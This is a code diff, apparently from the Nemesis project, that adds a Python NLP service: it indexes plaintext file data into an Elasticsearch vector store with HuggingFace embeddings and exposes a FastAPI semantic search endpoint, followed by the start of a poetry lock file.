structlog.get_logger(__name__) + + +class App: + cfg: NLPSettings + storage: StorageInterface + metrics_server: MetricsHTTPServer + + def __init__(self, cfg: NLPSettings) -> None: + self.cfg = cfg + + async def start(self) -> None: + await logger.ainfo("Application started") + + await self.wait_for_services() + await initRabbitMQ(self.cfg.rabbitmq_connection_uri) + self.metrics_server = await start_http_server(port=self.cfg.prometheus_port) + + if self.cfg.storage_provider.lower() == "s3": + self.storage = StorageS3( + assessment_id=self.cfg.assessment_id, + data_download_dir=self.cfg.data_download_dir, + aws_access_key_id=self.cfg.aws_access_key_id, + aws_secret_access_key=self.cfg.aws_secret_access_key, + aws_default_region=self.cfg.aws_default_region, + aws_bucket_name=self.cfg.aws_bucket, + aws_kms_key_alias=self.cfg.aws_kms_key_alias, + ) + elif self.cfg.storage_provider.lower() == "minio": + self.storage = StorageMinio( + assessment_id=self.cfg.assessment_id, + data_download_dir=self.cfg.data_download_dir, + access_key=self.cfg.minio_root_user, + secret_key=self.cfg.minio_root_password, + ) + else: + await logger.aerror("Storage provider not supported", storage_provider=self.cfg.storage_provider) + raise + + await logger.ainfo("Starting services") + + task_coroutines = [ + self.start_indexing_service(), + self.start_semantic_search_api(), + ] + + async with asyncio.TaskGroup() as tg: + for c in task_coroutines: + tg.create_task(c) + + await logger.ainfo("Application shutting down") + + async def stop(self): + await logger.ainfo("Stopping application") + pass + + async def wait_for_services(self) -> None: + rabbitUri = urlparse(self.cfg.rabbitmq_connection_uri) + elasticUri = urlparse(self.cfg.elasticsearch_url) + + if rabbitUri.hostname is None or elasticUri.hostname is None: + raise Exception("Invalid connection URI") + if rabbitUri.port is None or elasticUri.port is None: + raise Exception("Invalid connection URI") + + SocketWaiter(rabbitUri.hostname, rabbitUri.port).wait() + SocketWaiter(elasticUri.hostname, elasticUri.port).wait() + await logger.ainfo("All services are online!") + + async def start_indexing_service(self) -> None: + async with ( + await NemesisRabbitMQConsumer.create( + self.cfg.rabbitmq_connection_uri, constants.Q_FILE_DATA_PLAINTEXT, pb.FileDataPlaintextMessage, "indexingservice" + ) as textQ, + ): + service = IndexingService(textQ, self.cfg, self.storage) + await service.run() + + async def start_semantic_search_api(self) -> None: + app = FastAPI() + routes = SemanticSearchAPI(self.cfg) + app.include_router(routes.router) + server_config = uvicorn.Config(app, host="0.0.0.0", port=9803, log_level=self.cfg.log_level.lower()) + server = uvicorn.Server(server_config) + await server.serve() diff --git a/cmd/nlp/nlp/services/indexing.py b/cmd/nlp/nlp/services/indexing.py new file mode 100644 index 0000000..4bf1135 --- /dev/null +++ b/cmd/nlp/nlp/services/indexing.py @@ -0,0 +1,87 @@ +# Standard Libraries +import os +import re +import time +import uuid + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +import structlog +from langchain.embeddings import HuggingFaceEmbeddings +from langchain.text_splitter import RecursiveCharacterTextSplitter +from langchain.vectorstores import ElasticVectorSearch +from nemesiscommon.messaging import MessageQueueConsumerInterface +from nemesiscommon.messaging_rabbitmq import SingleQueueRabbitMQWorker +from nemesiscommon.storage import StorageInterface +from nlp.settings import NLPSettings +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class IndexingService(SingleQueueRabbitMQWorker): + cfg: NLPSettings + storage: StorageInterface + embeddings: HuggingFaceEmbeddings + vector_store: ElasticVectorSearch + text_splitter: RecursiveCharacterTextSplitter + + def __init__(self, inputQ: MessageQueueConsumerInterface, cfg: NLPSettings, storage: StorageInterface) -> None: + super().__init__(inputQ) + + self.storage = storage + self.cfg = cfg + + self.embeddings = HuggingFaceEmbeddings(model_name=self.cfg.embedding_model) + self.vector_store = ElasticVectorSearch(embedding=self.embeddings, elasticsearch_url=self.cfg.elastic_connection_uri, index_name=self.cfg.elastic_index_name) + + # significantly faster than HuggingFace tokenization + self.text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(chunk_size=500, chunk_overlap=0) + + @aio.time(Summary("process_plaintext_indexing", "Time spent processing/indexing a plaintext topic.")) # type: ignore + async def process_message(self, event: pb.FileDataPlaintextMessage) -> None: + """ """ + + for data in event.data: + object_id = uuid.UUID(data.object_id) + originating_object_id = data.originating_object_id + originating_object_path = data.originating_object_path + originating_object_converted_pdf = data.originating_object_converted_pdf + source = event.metadata.source + + try: + print(f"object_id: {object_id}") + with await self.storage.download(object_id) as file: + with open(file.name, 'r') as f: + # combine all repeated whitespace into single spaces + text = f.read() + text_processed = re.sub(r"\s+", " ", text) + + # split the text using our default splitter + docs = self.text_splitter.split_text(text_processed) + total_words = len(text_processed.split()) + + if total_words > 0: + # construct the metadata dict for each split text + metadata = [ + { + "source": source, + "object_id": object_id, + "originating_object_id": originating_object_id, + "originating_object_path": originating_object_path, + "originating_object_pdf": originating_object_converted_pdf, + } + ] * len(docs) + + await logger.ainfo(f"Loading {len(docs)} documents ({total_words} total words) into the vector store", object_id=object_id) + + # load the documents into the vector store asynchronously + # vector_store.aadd_texts() not yet implemented + start = time.time() + self.vector_store.add_texts(docs, metadata) + end = time.time() + await logger.ainfo(f"Documents loaded in {(end - start):.2f} seconds", object_id=object_id) + + except Exception as e: + await logger.aexception(e, message="exception in processing a plaintext file") diff --git a/cmd/nlp/nlp/services/semantic_search.py b/cmd/nlp/nlp/services/semantic_search.py new file mode 100644 index 0000000..5ceb3a0 --- /dev/null +++ b/cmd/nlp/nlp/services/semantic_search.py @@ -0,0 +1,135 @@ +# Standard Libraries +import re +import time +from typing import List + +# 3rd Party Libraries +import structlog +from fastapi.responses import Response +from fastapi_class.decorators import get, post +from fastapi_class.routable import Routable +from langchain.embeddings import HuggingFaceEmbeddings +from langchain.text_splitter import RecursiveCharacterTextSplitter +from langchain.vectorstores import ElasticVectorSearch +from nlp.settings import NLPSettings +from prometheus_async import aio +from prometheus_client import Summary +from pydantic import BaseModel + +logger = structlog.get_logger(module=__name__) + + +class IndexingRequest(BaseModel): + text: str + object_id: str + originating_object_id: str + originating_object_path: str + + +class SemanticSearchRequest(BaseModel): + search_phrase: str + num_results: int + + +class SemanticSearchResult(BaseModel): + text: str + score: float + source: str + object_id: str + originating_object_id: str + originating_object_path: str + originating_object_pdf: str + + +class SemanticSearchResults(BaseModel): + results: List[SemanticSearchResult] + + +class SemanticSearchAPI(Routable): + cfg: NLPSettings + embeddings: HuggingFaceEmbeddings + vector_store: ElasticVectorSearch + text_splitter: RecursiveCharacterTextSplitter + + def __init__(self, cfg: NLPSettings) -> None: + super().__init__() + self.cfg = cfg + embeddings = HuggingFaceEmbeddings(model_name=cfg.embedding_model) + self.vector_store = ElasticVectorSearch( + embedding=embeddings, elasticsearch_url=cfg.elastic_connection_uri, index_name=cfg.elastic_index_name + ) + # significantly faster than HuggingFace tokenization + self.text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(chunk_size=500, chunk_overlap=0) + + @get("/") + async def home(self): + return Response() + + @get("/ready") + async def ready(self): + """ + Used for readiness probes. + """ + return Response() + + @aio.time(Summary("semantic_search", "Semantic search over indexed documents")) # type: ignore + @post("/semantic_search") + async def semantic_search(self, request: SemanticSearchRequest): + try: + results = self.vector_store.similarity_search_with_score(request.search_phrase, k=request.num_results) + + search_results = SemanticSearchResults(results=[]) + + for document, score in results: + metadata = document.metadata + search_result = SemanticSearchResult( + text=document.page_content, + score=score, + source=metadata["source"], + object_id=metadata["object_id"], + originating_object_id=metadata["originating_object_id"], + originating_object_path=metadata["originating_object_path"], + originating_object_pdf=metadata["originating_object_pdf"] + ) + search_results.results.append(search_result) + + return search_results + + except Exception as e: + await logger.aexception(e, message="exception in processing a semantic search request") + return {"error": f"{e}"} + + @aio.time(Summary("indexing_request", "Indexing of document text")) # type: ignore + @post("/indexing") + async def indexing(self, request: IndexingRequest): + try: + # combine all whitespace into single spaces + text_processed = re.sub(r"\s+", " ", request.text) + + # split the text using our default splitter + docs = self.text_splitter.split_text(text_processed) + total_words = len(text_processed.split()) + + # construct the metadata dict for each split text + metadata = [ + { + "object_id": request.object_id, + "originating_object_id": request.originating_object_id, + "originating_object_path": request.originating_object_path, + } + ] * len(docs) + + await logger.ainfo( + f"Loading {len(docs)} documents ({total_words} total words) into the vector store", object_id=request.object_id + ) + + # load the documents into the vector store asynchronously + # vector_store.aadd_texts() not yet implemented + start = time.time() + self.vector_store.add_texts(docs, metadata) + end = time.time() + await logger.ainfo(f"Documents loaded in {(end - start):.2f} seconds", object_id=request.object_id) + + except Exception as e: + await logger.aexception(e, message="exception in processing a indexing request") + return {"error": f"{e}"} diff --git a/cmd/nlp/nlp/settings.py b/cmd/nlp/nlp/settings.py new file mode 100644 index 0000000..2e4e5b7 --- /dev/null +++ b/cmd/nlp/nlp/settings.py @@ -0,0 +1,17 @@ +# Standard Libraries +from enum import StrEnum + +# 3rd Party Libraries +from nemesiscommon.settings import FileProcessingService +from pydantic import Field + + +class NLPSettings(FileProcessingService): # type: ignore + rabbitmq_connection_uri: str + elastic_index_name: str + embedding_model: str + elastic_connection_uri: str + elasticsearch_url: str + + +config = NLPSettings() # type: ignore diff --git a/cmd/nlp/poetry.lock b/cmd/nlp/poetry.lock new file mode 100644 index 0000000..56ee582 --- /dev/null +++ b/cmd/nlp/poetry.lock @@ -0,0 +1,3313 @@ +# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand. + +[[package]] +name = "aio-pika" +version = "8.3.0" +description = "Wrapper for the aiormq for asyncio and humans." +optional = false +python-versions = ">3.6, <4" +files = [ + {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"}, + {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"}, +] + +[package.dependencies] +aiormq = ">=6.6.3,<6.7.0" +yarl = "*" + +[package.extras] +develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"] + +[[package]] +name = "aioboto3" +version = "10.4.0" +description = "Async boto3 wrapper" +optional = false +python-versions = ">=3.7,<4.0" +files = [ + {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"}, + {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"}, +] + +[package.dependencies] +aiobotocore = {version = "2.4.2", extras = ["boto3"]} + +[package.extras] +chalice = ["chalice (>=1.24.0)"] +s3cse = ["cryptography (>=2.3.1)"] + +[[package]] +name = "aiobotocore" +version = "2.4.2" +description = "Async client for aws services using botocore and aiohttp" +optional = false +python-versions = ">=3.7" +files = [ + {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"}, + {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"}, +] + +[package.dependencies] +aiohttp = ">=3.3.1" +aioitertools = ">=0.5.1" +boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""} +botocore = ">=1.27.59,<1.27.60" +wrapt = ">=1.10.10" + +[package.extras] +awscli = ["awscli (>=1.25.60,<1.25.61)"] +boto3 = ["boto3 (>=1.24.59,<1.24.60)"] + +[[package]] +name = "aiofile" +version = "3.8.7" +description = "Asynchronous file operations." +optional = false +python-versions = ">=3.7, <4" +files = [ + {file = "aiofile-3.8.7-py3-none-any.whl", hash = "sha256:4c38991b1227e221296fa05bbc95bffba9c203fef1ce09ad3076cfe7b61842c7"}, + {file = "aiofile-3.8.7.tar.gz", hash = "sha256:a8f9dec17282b3583337c4ef2d1a67f33072ab80dd03608041ed9e71b88dc521"}, +] + +[package.dependencies] +caio = ">=0.9.0,<0.10.0" + +[package.extras] +develop = ["aiomisc-pytest", "coveralls", "pytest", "pytest-cov", "pytest-rst"] + +[[package]] +name = "aiohttp" +version = "3.8.4" +description = "Async http client/server framework (asyncio)" +optional = false +python-versions = ">=3.6" +files = [ + {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"}, + {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"}, + {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"}, + {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"}, + {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"}, + {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"}, + {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"}, + {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"}, + {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"}, + {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"}, + {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"}, + {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"}, + {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"}, + {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"}, + {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"}, + {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"}, + {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"}, + {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"}, + {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:40653609b3bf50611356e6b6554e3a331f6879fa7116f3959b20e3528783e699"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:dbf3a08a06b3f433013c143ebd72c15cac33d2914b8ea4bea7ac2c23578815d6"}, + {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:854f422ac44af92bfe172d8e73229c270dc09b96535e8a548f99c84f82dde241"}, + {file = "aiohttp-3.8.4-cp37-cp37m-win32.whl", hash = "sha256:aeb29c84bb53a84b1a81c6c09d24cf33bb8432cc5c39979021cc0f98c1292a1a"}, + {file = "aiohttp-3.8.4-cp37-cp37m-win_amd64.whl", hash = "sha256:db3fc6120bce9f446d13b1b834ea5b15341ca9ff3f335e4a951a6ead31105480"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:fabb87dd8850ef0f7fe2b366d44b77d7e6fa2ea87861ab3844da99291e81e60f"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:91f6d540163f90bbaef9387e65f18f73ffd7c79f5225ac3d3f61df7b0d01ad15"}, + {file = "aiohttp-3.8.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:d265f09a75a79a788237d7f9054f929ced2e69eb0bb79de3798c468d8a90f945"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3d89efa095ca7d442a6d0cbc755f9e08190ba40069b235c9886a8763b03785da"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4dac314662f4e2aa5009977b652d9b8db7121b46c38f2073bfeed9f4049732cd"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:fe11310ae1e4cd560035598c3f29d86cef39a83d244c7466f95c27ae04850f10"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6ddb2a2026c3f6a68c3998a6c47ab6795e4127315d2e35a09997da21865757f8"}, + {file = "aiohttp-3.8.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e75b89ac3bd27d2d043b234aa7b734c38ba1b0e43f07787130a0ecac1e12228a"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:6e601588f2b502c93c30cd5a45bfc665faaf37bbe835b7cfd461753068232074"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:a5d794d1ae64e7753e405ba58e08fcfa73e3fad93ef9b7e31112ef3c9a0efb52"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:a1f4689c9a1462f3df0a1f7e797791cd6b124ddbee2b570d34e7f38ade0e2c71"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:3032dcb1c35bc330134a5b8a5d4f68c1a87252dfc6e1262c65a7e30e62298275"}, + {file = "aiohttp-3.8.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8189c56eb0ddbb95bfadb8f60ea1b22fcfa659396ea36f6adcc521213cd7b44d"}, + {file = "aiohttp-3.8.4-cp38-cp38-win32.whl", hash = "sha256:33587f26dcee66efb2fff3c177547bd0449ab7edf1b73a7f5dea1e38609a0c54"}, + {file = "aiohttp-3.8.4-cp38-cp38-win_amd64.whl", hash = "sha256:e595432ac259af2d4630008bf638873d69346372d38255774c0e286951e8b79f"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5a7bdf9e57126dc345b683c3632e8ba317c31d2a41acd5800c10640387d193ed"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:22f6eab15b6db242499a16de87939a342f5a950ad0abaf1532038e2ce7d31567"}, + {file = "aiohttp-3.8.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:7235604476a76ef249bd64cb8274ed24ccf6995c4a8b51a237005ee7a57e8643"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ea9eb976ffdd79d0e893869cfe179a8f60f152d42cb64622fca418cd9b18dc2a"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:92c0cea74a2a81c4c76b62ea1cac163ecb20fb3ba3a75c909b9fa71b4ad493cf"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:493f5bc2f8307286b7799c6d899d388bbaa7dfa6c4caf4f97ef7521b9cb13719"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0a63f03189a6fa7c900226e3ef5ba4d3bd047e18f445e69adbd65af433add5a2"}, + {file = "aiohttp-3.8.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:10c8cefcff98fd9168cdd86c4da8b84baaa90bf2da2269c6161984e6737bf23e"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bca5f24726e2919de94f047739d0a4fc01372801a3672708260546aa2601bf57"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:03baa76b730e4e15a45f81dfe29a8d910314143414e528737f8589ec60cf7391"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:8c29c77cc57e40f84acef9bfb904373a4e89a4e8b74e71aa8075c021ec9078c2"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:03543dcf98a6619254b409be2d22b51f21ec66272be4ebda7b04e6412e4b2e14"}, + {file = "aiohttp-3.8.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:17b79c2963db82086229012cff93ea55196ed31f6493bb1ccd2c62f1724324e4"}, + {file = "aiohttp-3.8.4-cp39-cp39-win32.whl", hash = "sha256:34ce9f93a4a68d1272d26030655dd1b58ff727b3ed2a33d80ec433561b03d67a"}, + {file = "aiohttp-3.8.4-cp39-cp39-win_amd64.whl", hash = "sha256:41a86a69bb63bb2fc3dc9ad5ea9f10f1c9c8e282b471931be0268ddd09430b04"}, + {file = "aiohttp-3.8.4.tar.gz", hash = "sha256:bf2e1a9162c1e441bf805a1fd166e249d574ca04e03b34f97e2928769e91ab5c"}, +] + +[package.dependencies] +aiosignal = ">=1.1.2" +async-timeout = ">=4.0.0a3,<5.0" +attrs = ">=17.3.0" +charset-normalizer = ">=2.0,<4.0" +frozenlist = ">=1.1.1" +multidict = ">=4.5,<7.0" +yarl = ">=1.0,<2.0" + 